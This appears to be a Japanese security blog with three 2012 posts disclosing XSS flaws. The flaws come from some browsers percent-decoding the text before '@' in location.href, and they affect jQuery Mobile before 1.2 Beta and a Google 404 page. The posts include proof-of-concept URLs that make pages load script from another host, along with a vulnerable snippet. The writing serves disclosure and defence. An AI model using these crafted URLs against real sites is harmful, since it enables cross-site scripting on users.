フレームが挿入されているところに「vulnerabledoma.in のページを検索:」と、ホストを書きだしている部分があります。そうです、このホストを書きだす部分の処理で、ホストの前に@で文字列が置けることを意識していなかったため、@の前までもがホストとして書き出され、XSSが起きてしまったという訳です。強調しておきますが、スクリーンショットのXSSがChromeで動いているように、これはSafariのlocation.hrefがデコードされる問題とは関係なく起きた問題です。

という訳で、ホストの前に文字を置くことができ、それはJavaScriptで取得されるということを忘れないで、location.hrefのようなURL全体を取得する値を使うようにしましょう、というお話でした。以前location.hrefのブログを記事にした時に、@uu59さんが指摘されていたこんなのもあり得そうなミスですね。

ちなみに、このGoogleの提供する404ページのJavaScriptの問題は、2012年3月12日に報告し、しばらくして修正されました。この報告の報酬として$1,337をもらっています。

2012/09/06

jQuery Mobile 1.2 Beta未満は読み込んでいるだけでXSS脆弱性を作ります

(2012/9/25 最後に重要な追記があります。 )

jQuery Mobile 1.2 Betaがさきほどリリースされたようです。
タイトルの通り、それに満たないバージョンのjQuery Mobileには読み込んでいるだけでXSS脆弱性を作ってしまう問題があります。お使いの方はアップデートをお勧めします。

jQuery Mobile 1.2 Beta Released | jQuery Mobile
http://jquerymobile.com/blog/2012/09/05/jquery-mobile-1-2-beta-released/


以前の記事で触れた、一部のブラウザのlocation.hrefの挙動に絡むXSSが修正されています。

以下の件とは別の修正であることに注意してください。

jQuery MobileのXSSについての解説 - 金利0無利息キャッシング – キャッシングできます - subtech
http://subtech.g.hatena.ne.jp/mala/20110711/1310391177


このときは、クロスドメインでリソースを読み込むことを全く制限していなかったことにより問題が起きていました。今回の場合は、この修正でクロスドメインのリソースを読み込まないようにするチェックが入ったものの、一部のブラウザが返すlocation.hrefの値を考慮したチェック方法で無かったため、その一部のブラウザ上で誤って無関係のサイトを同一のドメインとみなしてしまい、通信をしてしまうことで起きています。

例えば、以下のようなURLでXSSが起こります。

http://l0.cm%[email protected]/demos/1.2.0-alpha.1/#//l0.cm/jqm


Safari 6未満・Android 4.1未満・Mobile Safari(iOS6.0未満)などでは、ホストの前にある@の前の文字列を同一のドメインとみなして、http://l0.cm/jqmのリソースを読み込んでしまいます。

以下で確認できるように、1.2 Betaではこの問題は起きません。

http://l0.cm%[email protected]/demos/1.2.0-beta.1/#//l0.cm/jqm


ということで、アップデートしましょう。


2012/9/25 追記 1.2 RC1/RC2では、問題が再発しているようです。
https://github.com/jquery/jquery-mobile/issues/4787#issuecomment-8808793

以下で確認できます。

http://l0.cm%[email protected]/demos/1.2.0-rc.1/#//l0.cm/jqm
http://l0.cm%[email protected]/demos/1.2.0-rc.2/#//l0.cm/jqm

今のところ公式にリリースされたもので対応されているのは、1.2 Betaだけということになります。
1.2 RC1/RC2を使うのは避けましょう。

2012/10/3 追記

1.2 がリリースされました。これは大丈夫そうです。

http://l0.cm%[email protected]/demos/1.2.0/#//l0.cm/jqm


2012/08/02

location.hrefの盲点

夏ということで、怖い話をします。 Webアプリケーション開発者の皆さん、聞いて下さい。
時間がない人や、他の人に問題を説明するときなどには簡潔にまとめた版をどうぞ。

 これは2011年12月27日にAppleに報告したSafariの問題です。Appleからは修正する予定はないという回答を貰っていましたが、2012年7月25日にリリースされたMacのSafari 6のアドバイザリによるとどうもMacのSafari 6では修正されたようです。

About the security content of Safari 6
http://support.apple.com/kb/HT5400
WebKit
Available for: OS X Lion v10.7.4, OS X Lion Server v10.7.4
Impact: Visiting a maliciously crafted website may lead to a cross-site scripting attack
Description: A canonicalization issue existed in the handling of URLs. This may have lead to cross-site scripting on sites which use the location.href property. This issue is addressed through improved canonicalization of URLs.
CVE-ID CVE-2012-3695 : Masato Kinugawa
 
Windows版Safariで確認した問題でしたが、今のところWindows版のアップデートは出ていません。Windows版が出るまでは書くのを控えるつもりでしたが、MacのSafari 6がリリースされてから1週間経ってもAppleからは出すか出さないかの告知さえ無いので、もう書いてしまいます。

このようなコードがあったとします。


http://vulnerabledoma.in/webkit_locationhref/
<button onclick="location.href=location.href">reload</button>

location.hrefにlocation.hrefを代入するだけの単純なコードです。リロードされると思うのが普通だと思います。しかしながら、Safariではそうならないときがあるのです。以下のようなURLで、example.comへとばされます。

http://example.com%[email protected]/webkit_locationhref/

なぜこんなことが起きるかというと、上のページで、document.writeされているlocation.hrefに注目してください。@の前の「%2F」が「/」にデコードされて表示されています。そうです、なんと、Safariのlocation.hrefは、ホストの前の@の前の文字列をパーセントデコードして返すのです。(@がついたURLはあまり目にしませんが、@の前には認証情報を記述することができます。)
これはつまり、location.hrefが自分と同じドメインのURLを返すことを前提に書いているコードは全て、正しく動かない恐れがあるということです。最悪の場合、XSSが起こります。実際にこの挙動によって引き起こされるXSSを、Googleのサービスでいくつかみつけています:






これはほんの一部です。location.hrefを使って取得したURLから新たに通信をしようとした時に、誤ったホストからリソースを読み込んでしまいXSSを起こしてしまうケースが多くみられました。(どれも既に修正されています。ちなみにGoogleはこれをSafariのバグとみなしているので、報酬は報告した数ではなく、この挙動の情報提供として特別に$1,000を貰っています。)

幸いSafariでは、ホストの前に@を含むURLにアクセスしようとすると、設定を変更していなければフィッシングの警告画面が出ます。よって、もしこの問題を利用したXSSのURLを踏まされても、警告が出て不安になって引き返すユーザーが多いかもしれません。しかし、これはあくまでもフィッシング警告(@の前の文字列がホストだと思わせるようにURLが細工されているかもしれないことを警告しているだけ)であり、XSSの警告ではありません。

Safariがバグとして修正したなら、Appleが自分に問題があることを認めたということで、それでよしとしたいところですが、残念なお知らせがあります。Safari Mobile/Androidの標準ブラウザもこの動きをするのです。

Android標準ブラウザで% 00-FFを@の前に配置しalert(location.href)した図。%デコードされているのがわかる。

さらに、Androidの標準ブラウザは@付きURLにアクセスする時に警告も出しません。

今この情報を出した一番の理由として、このモバイルの問題をどうやっても早急に解決できないことがあげられます。モバイル端末のアップデートは機種によりまちまちで、提供されるかもわかりません。そんな現状で、このような潜在的な問題が早く修正されるとは思えません。アプリケーション開発者で対応するしかないでしょう。

@のついたURLでアクセスされることは多くのサービスで普通はないはずなので、location.href周りのコードが動かなくなるだけなら修正するほどではないと思いますが、XSSが起きるとなれば話は別だと思います。今一度、安全ではない方法でlocation.hrefを参照していないか、確認してみてください。